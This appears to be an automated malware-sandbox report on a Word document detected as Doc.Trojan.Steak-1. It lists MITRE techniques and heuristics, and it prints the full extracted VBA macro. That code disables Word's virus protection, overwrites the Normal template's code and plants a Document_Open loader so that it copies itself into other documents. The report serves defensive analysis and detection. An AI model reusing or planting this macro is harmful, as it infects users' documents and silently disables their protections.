MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains a VBA macro that executes upon document close. This macro exports the macro code to 'c:\A1.sys' and then creates a new macro in 'c:\A1.inf' which is subsequently added to the document. This process likely aims to modify the document's behavior or establish persistence by altering its macro components. The presence of a 'Document_Open' macro in the generated 'c:\A1.inf' suggests an attempt to execute code when the document is opened.
Heuristics 3
-
ClamAV: Doc.Trojan.Steak-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Steak-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1206 bytes |
SHA-256: d9a8e5e01d88dc149800c7f6dad051c0ad73b693b7d68f8d2cd9eb0ccdf32d2c |
|||
|
Detection
ClamAV:
Doc.Trojan.Steak-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Options.VirusProtection = (0 - 0): Options.ConfirmConversions = (1 - 1): Options.SaveNormalPrompt = (2 - 2)
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\A1.sys"
Set A1 = NormalTemplate.VBProject.VBComponents.Item(1)
A1.Codemodule.Deletelines 1, A1.Codemodule.CountOfLines
Open "c:\A1.inf" For Output As #1
Print #1, "Private Sub Document_Open()"
Print #1, "Set A1 = ActiveDocument.VBProject.VBComponents.Item(1)"
Print #1, "A1.Codemodule.Deletelines 1, A1.Codemodule.CountOfLines"
Print #1, "A1.Codemodule.AddFromFile (" & Chr(34) & "c:\A1.sys" & Chr(34) & ")"
Print #1, "A1.Codemodule.Deletelines 1, 4"
Print #1, "End Sub"
Close #1
A1.Codemodule.AddFromFile ("c:\A1.inf")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
'*.,.*.,.*.,.*.,.*.,.*.,.*.,.*.,.*.,.*'
'*~~A.1.~Steak~Sauce:~By~Lys~KovicK~~*'
'*~~~~~~~(Phixed~Publik~Kopie)~~~~~~~*'
'*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*'
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.